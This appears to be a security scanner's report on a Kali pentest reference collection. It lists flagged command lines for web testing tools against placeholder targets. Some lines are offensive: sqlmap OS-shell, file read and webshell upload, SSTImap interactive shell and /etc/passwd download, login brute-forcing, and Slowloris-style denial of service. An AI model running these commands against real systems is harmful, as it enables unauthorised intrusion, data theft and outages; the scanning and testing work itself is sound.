# Route through Burp Suite dirb http://target.com -p http://127.0.0.1:8080 - Network accessline 67
dirb http://target.com -p http://127.0.0.1:8080 - Network accessline 73
[Credential-related source omitted] - Network accessline 74
[Credential-related source omitted] - Network accessline 76
[Credential-related source omitted] - Network accessline 77
[Credential-related source omitted] - Network accessline 79
# HTTP basic authentication dirb http://target.com -u admin:password123 - Network accessline 80
dirb http://target.com -u admin:password123 - Network accessline 86
# Disable recursion and add delay to avoid rate limiting dirb http://target.com -r -z 100 - Network accessline 87
dirb http://target.com -r -z 100 - Network accessline 93
# Full scan with extensions, save results dirb http://target.com /usr/share/wordlists/dirb/common.txt \ - Network accessline 94
dirb http://target.com /usr/share/wordlists/dirb/common.txt \ - Network accessline 102
# Reduce output noise and set custom User-Agent dirb http://target.com -S -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" - Network accessline 103
dirb http://target.com -S -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" - Network accessline 118
- [dirb SourceForge](https://dirb.sourceforge.net/) - Network accessline 119
- [Kali Tools - dirb](https://www.kali.org/tools/dirb/)
kali-pentest/references/web/tools/dirsearch.md
- Dangerous shell operationline 15
sudo apt install dirsearch - Network accessline 53
# Basic scan with common extensions dirsearch -u http://example.com -e php,html,js - Network accessline 54
dirsearch -u http://example.com -e php,html,js - Network accessline 56
# Recursive scan dirsearch -u http://example.com -e php -r - Network accessline 57
dirsearch -u http://example.com -e php -r - Network accessline 59
# Save results to JSON dirsearch -u http://example.com -e php,html --format json -o results.json - Network accessline 60
dirsearch -u http://example.com -e php,html --format json -o results.json - Network accessline 62
# Custom wordlist dirsearch -u http://example.com -w /usr/share/wordlists/dirb/big.txt - Network accessline 63
dirsearch -u http://example.com -w /usr/share/wordlists/dirb/big.txt - Network accessline 65
# Exclude 404 and 403 responses dirsearch -u http://example.com -e php -x 404,403 - Network accessline 66
dirsearch -u http://example.com -e php -x 404,403 - Network accessline 68
[Credential-related source omitted] - Network accessline 69
[Credential-related source omitted] - Network accessline 71
# Route through Burp Suite proxy dirsearch -u http://example.com -e php --proxy http://127.0.0.1:8080 - Network accessline 72
dirsearch -u http://example.com -e php --proxy http://127.0.0.1:8080 - Network accessline 74
# Increase threads for speed dirsearch -u http://example.com -e php -t 50 - Network accessline 75
dirsearch -u http://example.com -e php -t 50 - Network accessline 90
- [dirsearch (GitHub)](https://github.com/maurosoria/dirsearch) - Network accessline 91
- [Kali dirsearch](https://www.kali.org/tools/dirsearch/)
kali-pentest/references/web/tools/feroxbuster.md
- Dangerous shell operationline 15
sudo apt install feroxbuster - Network accessline 44
# Basic scan feroxbuster -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 45
feroxbuster -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 47
# Specify extensions feroxbuster -u http://target.com -w wordlist.txt -x php,html,txt,bak,zip - Network accessline 48
feroxbuster -u http://target.com -w wordlist.txt -x php,html,txt,bak,zip - Network accessline 50
# HTTPS (ignore certificate) feroxbuster -u https://target.com -w wordlist.txt -k - Network accessline 51
feroxbuster -u https://target.com -w wordlist.txt -k - Network accessline 53
# Limit recursion depth feroxbuster -u http://target.com -w wordlist.txt -d 2 - Network accessline 54
feroxbuster -u http://target.com -w wordlist.txt -d 2 - Network accessline 56
# Filter 404 and 403 feroxbuster -u http://target.com -w wordlist.txt -C 404,403 - Network accessline 57
feroxbuster -u http://target.com -w wordlist.txt -C 404,403 - Network accessline 59
[Credential-related source omitted] - Network accessline 60
[Credential-related source omitted] - Network accessline 61
feroxbuster -u http://target.com -w wordlist.txt -b "session=abc123" - Network accessline 63
# Output to file feroxbuster -u http://target.com -w wordlist.txt -o /tmp/ferox_results.txt - Network accessline 64
feroxbuster -u http://target.com -w wordlist.txt -o /tmp/ferox_results.txt - Network accessline 66
# Rate limiting (to avoid triggering WAF) feroxbuster -u http://target.com -w wordlist.txt --rate-limit 100 - Network accessline 67
feroxbuster -u http://target.com -w wordlist.txt --rate-limit 100 - Network accessline 69
# Use proxy feroxbuster -u http://target.com -w wordlist.txt --proxy http://127.0.0.1:8080 - Network accessline 70
feroxbuster -u http://target.com -w wordlist.txt --proxy http://127.0.0.1:8080 - Network accessline 85
- [feroxbuster GitHub](https://github.com/epi052/feroxbuster) - Network accessline 86
- [feroxbuster Documentation](https://epi052.github.io/feroxbuster-docs/overview/)
kali-pentest/references/web/tools/ffuf.md
- Network accessline 100
# Simplest usage ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt - Network accessline 101
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt - Network accessline 103
# 50 threads, filter 404 ffuf -u http://target.com/FUZZ \ - Network accessline 104
ffuf -u http://target.com/FUZZ \ - Network accessline 112
# Use two FUZZ keywords (need to specify different variable names) ffuf -u http://target.com/FUZZ.EXT \ - Network accessline 113
ffuf -u http://target.com/FUZZ.EXT \ - Network accessline 118
# Common: fixed extensions ffuf -u "http://target.com/FUZZ" \ - Network accessline 119
ffuf -u "http://target.com/FUZZ" \ - Network accessline 127
# -ac automatically detects response patterns and filters false positives ffuf -u http://target.com/FUZZ \ - Network accessline 128
ffuf -u http://target.com/FUZZ \ - Network accessline 132
# Filter by response size (run once first to find default size, then filter) ffuf -u http://target.com/FUZZ \ - Network accessline 133
ffuf -u http://target.com/FUZZ \ - Network accessline 141
# GET parameter name enumeration ffuf -u "http://target.com/page.php?FUZZ=test" \ - Network accessline 142
ffuf -u "http://target.com/page.php?FUZZ=test" \ - Network accessline 146
# POST parameter enumeration ffuf -u http://target.com/login.php \ - Network accessline 147
ffuf -u http://target.com/login.php \ - Network accessline 153
# Parameter value fuzzing (known parameter name) ffuf -u "http://target.com/page.php?id=FUZZ" \ - Network accessline 154
ffuf -u "http://target.com/page.php?id=FUZZ" \ - Network accessline 161
# DNS-based subdomain brute-force: FUZZ the hostname in the URL (DNS must resolve each) ffuf -u http://FUZZ.target.com \ - Network accessline 162
ffuf -u http://FUZZ.target.com \ - Network accessline 172
ffuf -u http://10.10.10.10 \ - Network accessline 181
# Username enumeration (test which usernames exist) ffuf -u http://target.com/login.php \ - Network accessline 182
ffuf -u http://target.com/login.php \ - Network accessline 189
# Password brute-forcing ffuf -u http://target.com/login.php \ - Network accessline 190
ffuf -u http://target.com/login.php \ - Network accessline 201
ffuf -u http://target.com/FUZZ \ - Network accessline 220
ffuf -u http://target.com/FUZZ \ - Network accessline 241
- [ffuf GitHub](https://github.com/ffuf/ffuf)
kali-pentest/references/web/tools/gitleaks.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install gitleaks - Network accessline 79
- [Gitleaks GitHub](https://github.com/gitleaks/gitleaks) - Network accessline 80
- [Gitleaks Website](https://gitleaks.io/) - Network accessline 81
- [Kali gitleaks](https://www.kali.org/tools/gitleaks/)
kali-pentest/references/web/tools/gobuster.md
- Network accessline 125
# Scan using common.txt wordlist gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 126
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 128
# Multi-thread acceleration (50 threads) gobuster dir -u http://target.com \ - Network accessline 129
gobuster dir -u http://target.com \ - Network accessline 133
# Show full URLs gobuster dir -u http://target.com \ - Network accessline 134
gobuster dir -u http://target.com \ - Network accessline 142
# Enumerate PHP and HTML files gobuster dir -u http://target.com \ - Network accessline 143
gobuster dir -u http://target.com \ - Network accessline 147
# Enumerate backup files gobuster dir -u http://target.com \ - Network accessline 148
gobuster dir -u http://target.com \ - Network accessline 156
# Cookie authentication gobuster dir -u http://target.com/admin \ - Network accessline 157
gobuster dir -u http://target.com/admin \ - Network accessline 161
# HTTP basic authentication gobuster dir -u http://target.com/admin \ - Network accessline 162
gobuster dir -u http://target.com/admin \ - Network accessline 166
# Custom header (Bearer Token) gobuster dir -u http://target.com/api \ - Network accessline 167
gobuster dir -u http://target.com/api \ - Network accessline 175
# Show only 200 responses gobuster dir -u http://target.com \ - Network accessline 176
gobuster dir -u http://target.com \ - Network accessline 180
# Exclude 403 and 404 (blacklist; overrides --status-codes if set) gobuster dir -u http://target.com \ - Network accessline 181
gobuster dir -u http://target.com \ - Network accessline 207
gobuster vhost -u http://10.10.10.10 \ - Network accessline 211
# Exclude specific response lengths (filter default pages) gobuster vhost -u http://10.10.10.10 \ - Network accessline 212
gobuster vhost -u http://10.10.10.10 \ - Network accessline 220
gobuster dir -u https://target.com \ - Network accessline 221
-w /usr/share/wordlists/dirb/common.txt \ --proxy http://127.0.0.1:8080 \ --no-tls-validation - Network accessline 222
--proxy http://127.0.0.1:8080 \ - Network accessline 229
gobuster dir -u http://target.com \ - Network accessline 248
- [gobuster GitHub](https://github.com/OJ/gobuster)
kali-pentest/references/web/tools/gospider.md
- Dangerous shell operationline 15
sudo apt install gospider - Network accessline 39
# Basic crawl of a single site gospider -s http://example.com - Network accessline 40
gospider -s http://example.com - Network accessline 42
# Crawl to depth 3 with sitemap and robots gospider -s http://example.com -d 3 --sitemap --robots - Network accessline 43
gospider -s http://example.com -d 3 --sitemap --robots - Network accessline 45
# Include historical URLs from external sources gospider -s http://example.com --other-source - Network accessline 46
gospider -s http://example.com --other-source - Network accessline 51
# Save output to directory gospider -s http://example.com -o ./results - Network accessline 52
gospider -s http://example.com -o ./results - Network accessline 54
# Route through Burp Suite proxy gospider -s http://example.com --proxy http://127.0.0.1:8080 -d 2 - Network accessline 55
gospider -s http://example.com --proxy http://127.0.0.1:8080 -d 2 - Network accessline 70
- [gospider (GitHub)](https://github.com/jaeles-project/gospider) - Network accessline 71
- [Kali gospider](https://www.kali.org/tools/gospider/)
kali-pentest/references/web/tools/graphw00f.md
- Network accessline 15
# Pre-installed on Kali at /opt/graphw00f # Or install manually: git clone https://github.com/dolevf/graphw00f.git - Network accessline 16
# Or install manually: git clone https://github.com/dolevf/graphw00f.git cd graphw00f - Network accessline 17
git clone https://github.com/dolevf/graphw00f.git - Network accessline 42
# Fingerprint GraphQL endpoint python3 /opt/graphw00f/main.py -f -t https://target/graphql - Network accessline 43
python3 /opt/graphw00f/main.py -f -t https://target/graphql - Network accessline 45
# Detect mode — scan for GraphQL endpoints python3 /opt/graphw00f/main.py -d -t https://target/graphql - Network accessline 46
python3 /opt/graphw00f/main.py -d -t https://target/graphql - Network accessline 48
# Fingerprint through a proxy with custom timeout python3 /opt/graphw00f/main.py -f -t https://target/graphql -p http://127.0.0.1:8080 -T 10 - Network accessline 49
python3 /opt/graphw00f/main.py -f -t https://target/graphql -p http://127.0.0.1:8080 -T 10 - Network accessline 65
- [graphw00f GitHub](https://github.com/dolevf/graphw00f)
kali-pentest/references/web/tools/grpcurl.md
- Network accessline 75
- [grpcurl GitHub](https://github.com/fullstorydev/grpcurl)
kali-pentest/references/web/tools/joomscan.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install joomscan - Network accessline 39
# Basic Joomla scan joomscan -u https://target.com/ - Network accessline 40
joomscan -u https://target.com/ - Network accessline 42
# Enumerate Joomla components joomscan -u https://target.com/ --enumerate-components - Network accessline 43
joomscan -u https://target.com/ --enumerate-components - Network accessline 45
# Authenticated or session-aware scan using a cookie joomscan -u https://target.com/ --cookie "PHPSESSID=value; other=value" - Network accessline 46
joomscan -u https://target.com/ --cookie "PHPSESSID=value; other=value" - Network accessline 48
# Use a custom User-Agent joomscan -u https://target.com/ -a "Mozilla/5.0" - Network accessline 49
joomscan -u https://target.com/ -a "Mozilla/5.0" - Network accessline 51
# Randomize User-Agent and set timeout joomscan -u https://target.com/ --random-agent --timeout 20 - Network accessline 52
joomscan -u https://target.com/ --random-agent --timeout 20 - Network accessline 54
# Route traffic through an intercepting proxy joomscan -u https://target.com/ --proxy http://127.0.0.1:8080 - Network accessline 55
joomscan -u https://target.com/ --proxy http://127.0.0.1:8080 - Dangerous shell operationline 59
sudo apt update && sudo apt install --only-upgrade joomscan - Network accessline 79
- [OWASP JoomScan GitHub](https://github.com/OWASP/joomscan) - Network accessline 80
- [Kali joomscan](https://www.kali.org/tools/joomscan/)
kali-pentest/references/web/tools/jwt_tool.md
- Network accessline 18
# Or install from GitHub: git clone https://github.com/ticarpi/jwt_tool.git - Network accessline 19
git clone https://github.com/ticarpi/jwt_tool.git - Network accessline 48
[Credential-related source omitted] - Network accessline 49
[Credential-related source omitted] - Network accessline 79
- [jwt_tool (GitHub)](https://github.com/ticarpi/jwt_tool)
kali-pentest/references/web/tools/katana.md
- Dangerous shell operationline 16
sudo apt install katana - Network accessline 66
# Crawl one web target katana -u https://target.com -d 3 -silent -o /tmp/katana-urls.txt - Network accessline 67
katana -u https://target.com -d 3 -silent -o /tmp/katana-urls.txt - Network accessline 72
# Parse JavaScript and known files katana -u https://target.com -d 3 -jc -kf all -silent -o /tmp/katana-js.txt - Network accessline 73
katana -u https://target.com -d 3 -jc -kf all -silent -o /tmp/katana-js.txt - Network accessline 75
# JSONL output with form extraction for agent parsing katana -u https://target.com -d 3 -fx -j -o /tmp/katana.jsonl - Network accessline 76
katana -u https://target.com -d 3 -fx -j -o /tmp/katana.jsonl - Network accessline 78
# Headless crawl for JavaScript-heavy applications katana -u https://app.target.com -headless -system-chrome -no-sandbox -d 2 -j -o /tmp/katana-headless.jsonl - Network accessline 79
katana -u https://app.target.com -headless -system-chrome -no-sandbox -d 2 -j -o /tmp/katana-headless.jsonl - Network accessline 81
# Keep crawl inside an explicit scope katana -u https://target.com -fs fqdn -cos logout -d 3 -silent - Network accessline 82
katana -u https://target.com -fs fqdn -cos logout -d 3 -silent - Network accessline 84
# Crawl through an intercepting proxy katana -u https://target.com -proxy http://127.0.0.1:8080 -d 2 -j -o /tmp/katana-proxy.jsonl - Network accessline 85
katana -u https://target.com -proxy http://127.0.0.1:8080 -d 2 -j -o /tmp/katana-proxy.jsonl - Network accessline 103
- [Katana Documentation](https://docs.projectdiscovery.io/tools/katana/overview) - Network accessline 104
- [Katana GitHub](https://github.com/projectdiscovery/katana)
kali-pentest/references/web/tools/kiterunner.md
- Network accessline 15
# Download the latest release binary for your architecture from the official repository # (releases are published as kr-linux-amd64 / kr-linux-arm64 etc. — match your platform) curl -L https://github.com/assetnote/kiterunner/releases/latest - Network accessline 16
# (releases are published as kr-linux-amd64 / kr-linux-arm64 etc. — match your platform) curl -L https://github.com/assetnote/kiterunner/releases/latest/download/kr-linux-amd64 -o kr chmod +x kr - Network accessline 17
curl -L https://github.com/assetnote/kiterunner/releases/latest/download/kr-linux-amd64 -o kr - Dangerous shell operationline 19
sudo mv kr /usr/local/bin/ - Network accessline 58
# Scan one API base URL echo https://target/api | kr scan - -w <api_wordlist.kite> - Network accessline 59
echo https://target/api | kr scan - -w <api_wordlist.kite> - Network accessline 61
# Brute-force with a plain-text wordlist kr brute https://target/api -w /usr/share/wordlists/dirb/common.txt - Network accessline 62
kr brute https://target/api -w /usr/share/wordlists/dirb/common.txt - Network accessline 81
- [Kiterunner GitHub](https://github.com/assetnote/kiterunner)
kali-pentest/references/web/tools/mitmproxy.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install mitmproxy - Network accessline 52
# Send a single curl request through the proxy - Network accessline 53
curl -x http://127.0.0.1:8080 -k https://target.com/ - Network accessline 66
# Replay all captured client requests mitmdump -nC /tmp/flows.mitm -w /tmp/replay-result.mitm - Network accessline 67
mitmdump -nC /tmp/flows.mitm -w /tmp/replay-result.mitm - Network accessline 72
# Reverse proxy mode in front of a target service mitmdump --mode reverse:https://target.com \ - Network accessline 73
mitmdump --mode reverse:https://target.com \ - Network accessline 111
sqlmap -u "https://api.example.com/v3/users/1" \ - Network accessline 112
--proxy=http://127.0.0.1:8080 --level=5 --risk=3 - Network accessline 114
ffuf -u "https://api.example.com/v3/FUZZ" \ - Network accessline 115
-x http://127.0.0.1:8080 -w /usr/share/wordlists/api-routes.txt - Network accessline 117
dalfox url "https://api.example.com/v3/users/self" \ - Network accessline 118
--proxy http://127.0.0.1:8080 - Network accessline 125
1. Use `mitmdump` instead of the interactive `mitmproxy` UI for unattended agent runs. 2. Clients must trust the mitmproxy CA certificate for TLS interception; browse to `http://mitm.it` through the proxy to install it in interactive test s - Network accessline 126
2. Clients must trust the mitmproxy CA certificate for TLS interception; browse to `http://mitm.it` through the proxy to install it in interactive test setups. - Network accessline 138
- [mitmproxy Documentation](https://docs.mitmproxy.org/stable/) - Network accessline 139
- [mitmproxy Getting Started](https://docs.mitmproxy.org/stable/overview/getting-started/) - Network accessline 140
- [mitmproxy Options](https://docs.mitmproxy.org/stable/concepts/options/) - Network accessline 141
- [mitmproxy Proxy Modes](https://docs.mitmproxy.org/stable/concepts/modes/) - Network accessline 142
- [mitmproxy Kali Package](https://www.kali.org/tools/mitmproxy/)
kali-pentest/references/web/tools/mitmproxy2swagger.md
- Network accessline 34
# Convert mitmproxy flows to OpenAPI draft mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api - Network accessline 35
mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api - Network accessline 37
# Include examples mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e - Network accessline 38
mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e - Network accessline 40
# Include headers in examples mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e -hd - Network accessline 41
mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e -hd - Network accessline 43
# Explicitly specify HAR format and suppress raw param paths mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -f har -s - Network accessline 44
mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -f har -s - Network accessline 46
# Use regex to parameterize UUID path segments mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api \ - Network accessline 47
mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api \ - Network accessline 61
- [mitmproxy2swagger GitHub](https://github.com/alufers/mitmproxy2swagger)
kali-pentest/references/web/tools/nikto.md
- Dangerous shell operationline 15
sudo apt install nikto - Network accessline 92
# Basic scan nikto -h http://target.com - Network accessline 93
nikto -h http://target.com - Network accessline 95
# HTTPS target nikto -h https://target.com -ssl - Network accessline 96
nikto -h https://target.com -ssl - Network accessline 113
# Use Burp proxy nikto -h target.com -useproxy http://127.0.0.1:8080 - Network accessline 114
nikto -h target.com -useproxy http://127.0.0.1:8080 - Network accessline 138
- [nikto GitHub](https://github.com/sullo/nikto)
kali-pentest/references/web/tools/padbuster.md
- Dangerous shell operationline 15
sudo apt install padbuster - Network accessline 34
| `-post <data>` | POST body data (switches request method to POST) | | `-prefix <value>` | Prefix prepended to each encrypted sample | | `-proxy <url>` | HTTP proxy (e.g., `http://127.0.0.1:8080`) | - Network accessline 35
| `-prefix <value>` | Prefix prepended to each encrypted sample | | `-proxy <url>` | HTTP proxy (e.g., `http://127.0.0.1:8080`) | | `-verbose` | Show verbose output including HTTP responses | - Network accessline 36
| `-proxy <url>` | HTTP proxy (e.g., `http://127.0.0.1:8080`) | - Network accessline 42
[Credential-related source omitted] - Network accessline 43
[Credential-related source omitted] - Network accessline 45
# Decrypt a cookie value passed via -cookies padbuster http://target.com/profile "" 16 \ - Network accessline 46
padbuster http://target.com/profile "" 16 \ - Network accessline 50
[Credential-related source omitted] - Network accessline 51
[Credential-related source omitted] - Network accessline 54
[Credential-related source omitted] - Network accessline 55
[Credential-related source omitted] - Network accessline 58
# Use hex-encoded sample with POST data through a proxy padbuster http://target.com/login "" 16 \ - Network accessline 59
padbuster http://target.com/login "" 16 \ - Network accessline 60
[Credential-related source omitted] - Network accessline 62
-proxy http://127.0.0.1:8080 - Network accessline 64
[Credential-related source omitted] - Network accessline 65
[Credential-related source omitted] - Network accessline 81
- [PadBuster GitHub](https://github.com/strozfriedberg/PadBuster) - Network accessline 82
- [Kali Tools — padbuster](https://www.kali.org/tools/padbuster/)
kali-pentest/references/web/tools/phpggc.md
kali-pentest/references/web/tools/schemathesis.md
- Network accessline 55
# Run OpenAPI tests with conservative limits schemathesis run https://target/openapi.json --checks all --rate-limit 5/s --report har --report-dir /tmp/schemathesis - Network accessline 56
schemathesis run https://target/openapi.json --checks all --rate-limit 5/s --report har --report-dir /tmp/schemathesis - Network accessline 58
[Credential-related source omitted] - Network accessline 59
[Credential-related source omitted] - Network accessline 61
# Reduce generated cases for quick triage schemathesis run ./openapi.json --url https://target --max-examples 20 - Network accessline 62
schemathesis run ./openapi.json --url https://target --max-examples 20 - Network accessline 64
# Run only coverage and fuzzing phases with 4 workers schemathesis run https://target/openapi.json --phases coverage,fuzzing -w 4 - Network accessline 65
schemathesis run https://target/openapi.json --phases coverage,fuzzing -w 4 - Network accessline 67
# Wait for schema availability (useful in CI) schemathesis run https://target/openapi.json --wait-for-schema 30 - Network accessline 68
schemathesis run https://target/openapi.json --wait-for-schema 30 - Network accessline 81
- [Schemathesis Documentation](https://schemathesis.readthedocs.io/) - Network accessline 82
- [Schemathesis GitHub](https://github.com/schemathesis/schemathesis)
kali-pentest/references/web/tools/slowhttptest.md
- Dangerous shell operationline 15
sudo apt install slowhttptest - Network accessline 24
| `-R` | Range attack mode (Apache killer) | | `-X` | Slow read mode | | `-u <URL>` | Absolute URL of target (default: http://localhost/) | - Network accessline 25
| `-X` | Slow read mode | | `-u <URL>` | Absolute URL of target (default: http://localhost/) | | `-c <num>` | Target number of connections (default: 50) | - Network accessline 26
| `-u <URL>` | Absolute URL of target (default: http://localhost/) | - Network accessline 51
# Slowloris attack — 1000 connections over 300 seconds slowhttptest -c 1000 -H -i 10 -r 200 -l 300 \ -u http://target.com/ -t GET -o /tmp/slowloris -g - Network accessline 52
slowhttptest -c 1000 -H -i 10 -r 200 -l 300 -u http://target.com/ -t GET -o /tmp/slowloris -g - Network accessline 53
-u http://target.com/ -t GET -o /tmp/slowloris -g - Network accessline 55
# Slow POST attack — send body slowly slowhttptest -c 1000 -B -i 110 -r 200 -l 300 \ -s 8192 -u http://target.com/login -t POST \ - Network accessline 56
slowhttptest -c 1000 -B -i 110 -r 200 -l 300 -s 8192 -u http://target.com/login -t POST - Network accessline 57
-s 8192 -u http://target.com/login -t POST \ - Network accessline 60
# Slow Read attack — small receive window slowhttptest -c 1000 -X -r 200 -l 300 \ -u http://target.com/ -o /tmp/slowread -g - Network accessline 61
slowhttptest -c 1000 -X -r 200 -l 300 -u http://target.com/ -o /tmp/slowread -g - Network accessline 62
-u http://target.com/ -o /tmp/slowread -g - Network accessline 64
# Range header attack slowhttptest -c 500 -R -r 100 -l 180 \ -u http://target.com/ -o /tmp/range -g - Network accessline 65
slowhttptest -c 500 -R -r 100 -l 180 -u http://target.com/ -o /tmp/range -g - Network accessline 66
-u http://target.com/ -o /tmp/range -g - Network accessline 68
# Slowloris via HTTPS with high verbosity slowhttptest -c 500 -H -i 10 -r 100 -l 240 \ -u https://target.com/ -v 4 -o /tmp/slowloris_https -g - Network accessline 69
slowhttptest -c 500 -H -i 10 -r 100 -l 240 -u https://target.com/ -v 4 -o /tmp/slowloris_https -g - Network accessline 70
-u https://target.com/ -v 4 -o /tmp/slowloris_https -g - Network accessline 72
# Quick resilience check — short test, moderate connections slowhttptest -c 200 -H -i 10 -r 50 -l 60 \ -u http://target.com/ -o /tmp/quick_test -g - Network accessline 73
slowhttptest -c 200 -H -i 10 -r 50 -l 60 -u http://target.com/ -o /tmp/quick_test -g - Network accessline 74
-u http://target.com/ -o /tmp/quick_test -g - Network accessline 89
- [SlowHTTPTest GitHub](https://github.com/shekyan/slowhttptest) - Network accessline 90
- [Kali Tools — slowhttptest](https://www.kali.org/tools/slowhttptest/)
kali-pentest/references/web/tools/sqlmap.md
- Network accessline 23
# Get the latest version from GitHub git clone https://github.com/sqlmapproject/sqlmap.git - Network accessline 24
git clone https://github.com/sqlmapproject/sqlmap.git - Network accessline 147
# Check if URL parameter has an injection sqlmap -u "http://target.com/page.php?id=1" - Network accessline 148
sqlmap -u "http://target.com/page.php?id=1" - Network accessline 150
# Auto batch mode, detect and list databases sqlmap -u "http://target.com/page.php?id=1" --batch --dbs - Network accessline 151
sqlmap -u "http://target.com/page.php?id=1" --batch --dbs - Network accessline 157
# Specify POST data sqlmap -u "http://target.com/login.php" \ - Network accessline 158
sqlmap -u "http://target.com/login.php" \ - Network accessline 162
# Test only a specified parameter (mark injection point with *) sqlmap -u "http://target.com/login.php" \ - Network accessline 163
sqlmap -u "http://target.com/login.php" \ - Network accessline 180
sqlmap -u "http://target.com/page.php" \ - Network accessline 188
# Use random User-Agent + common Tamper scripts sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 189
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 195
# Common Tamper script combination sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 196
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 203
# Get current database and user sqlmap -u "http://target.com/page.php?id=1" --current-db --current-user - Network accessline 204
sqlmap -u "http://target.com/page.php?id=1" --current-db --current-user - Network accessline 206
# Enumerate all tables in a specified database sqlmap -u "http://target.com/page.php?id=1" -D webapp --tables - Network accessline 207
sqlmap -u "http://target.com/page.php?id=1" -D webapp --tables - Network accessline 209
# Export data from a specified table sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 210
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 213
# Export specific columns with row limit sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 214
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 222
# Check for DBA privileges sqlmap -u "http://target.com/page.php?id=1" --is-dba - Network accessline 223
sqlmap -u "http://target.com/page.php?id=1" --is-dba - Network accessline 225
# Attempt to get an OS shell (requires DBA privileges) sqlmap -u "http://target.com/page.php?id=1" --os-shell - Network accessline 226
sqlmap -u "http://target.com/page.php?id=1" --os-shell - Network accessline 228
# Read a server file sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 229
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 232
# Upload a file (Webshell) sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 233
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 241
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 242
--proxy="http://127.0.0.1:8080" \ - Network accessline 262
- [sqlmap GitHub](https://github.com/sqlmapproject/sqlmap) - Network accessline 263
- [sqlmap Wiki](https://github.com/sqlmapproject/sqlmap/wiki) - Network accessline 264
- [sqlmap Official Site](https://sqlmap.org/)
kali-pentest/references/web/tools/sstimap.md
- Dangerous shell operationline 15
sudo apt install sstimap - Network accessline 56
# Basic SSTI detection on a GET parameter sstimap -u "http://example.com/search?name=*" - Network accessline 57
sstimap -u "http://example.com/search?name=*" - Network accessline 59
# POST data injection sstimap -u "http://example.com/render" -d "template=*&user=admin" - Network accessline 60
sstimap -u "http://example.com/render" -d "template=*&user=admin" - Network accessline 62
# Execute OS command after detecting SSTI sstimap -u "http://example.com/search?name=*" -S "id" - Network accessline 63
sstimap -u "http://example.com/search?name=*" -S "id" - Network accessline 65
# Get an interactive shell sstimap -u "http://example.com/search?name=*" -s - Network accessline 66
sstimap -u "http://example.com/search?name=*" -s - Network accessline 68
# Download a file from the server sstimap -u "http://example.com/search?name=*" -D "/etc/passwd" "./passwd.txt" - Network accessline 69
sstimap -u "http://example.com/search?name=*" -D "/etc/passwd" "./passwd.txt" - Network accessline 71
# Force Jinja2 engine (skip detection) sstimap -u "http://example.com/search?name=*" -e Jinja2 - Network accessline 72
sstimap -u "http://example.com/search?name=*" -e Jinja2 - Network accessline 74
# With authentication cookie sstimap -u "http://example.com/profile?name=*" --cookie "session=abc123" - Network accessline 75
sstimap -u "http://example.com/profile?name=*" --cookie "session=abc123" - Network accessline 77
# Route through Burp Suite proxy sstimap -u "http://example.com/search?name=*" --proxy http://127.0.0.1:8080 - Network accessline 78
sstimap -u "http://example.com/search?name=*" --proxy http://127.0.0.1:8080 - Network accessline 93
- [SSTImap (GitHub)](https://github.com/vladko312/SSTImap) - Network accessline 94
- [Kali sstimap](https://www.kali.org/tools/sstimap/)
kali-pentest/references/web/tools/subjack.md
kali-pentest/references/web/tools/tinja.md
- Dangerous shell operationline 15
sudo apt install tinja -y - Network accessline 44
# Test GET parameters for SSTI tinja url "http://target.com/page?name=test" - Network accessline 45
tinja url "http://target.com/page?name=test" - Network accessline 51
# Test POST parameters (include data in the URL query or use a config file) tinja url "http://target.com/render?template=test&name=value" - Network accessline 52
tinja url "http://target.com/render?template=test&name=value" - Network accessline 58
# Scan with authentication cookies tinja url "http://target.com/page?name=test" \ - Network accessline 59
tinja url "http://target.com/page?name=test" \ - Network accessline 66
# Route through Burp Suite proxy tinja url "http://target.com/page?name=test" \ - Network accessline 67
tinja url "http://target.com/page?name=test" \ - Network accessline 68
--proxyurl http://127.0.0.1:8080 - Network accessline 74
# Scan multiple URLs tinja url "http://target.com/page?name=test" "http://target.com/other?q=test" - Network accessline 75
tinja url "http://target.com/page?name=test" "http://target.com/other?q=test" - Network accessline 84
# Enable both SSTI and CSTI scanning tinja url "http://target.com/page?name=test" --csti - Network accessline 85
tinja url "http://target.com/page?name=test" --csti - Network accessline 100
- [TInjA GitHub](https://github.com/Hackmanit/TInjA) - Network accessline 101
- [Kali Tools - tinja](https://www.kali.org/tools/tinja/)
kali-pentest/references/web/tools/wapiti.md
- Dangerous shell operationline 15
sudo apt install wapiti - Access to secretsline 46
[Credential-related source omitted] - Network accessline 61
# Full site scan with HTML report wapiti -u http://target.com/ -f html -o /tmp/wapiti_report - Network accessline 62
wapiti -u http://target.com/ -f html -o /tmp/wapiti_report - Network accessline 64
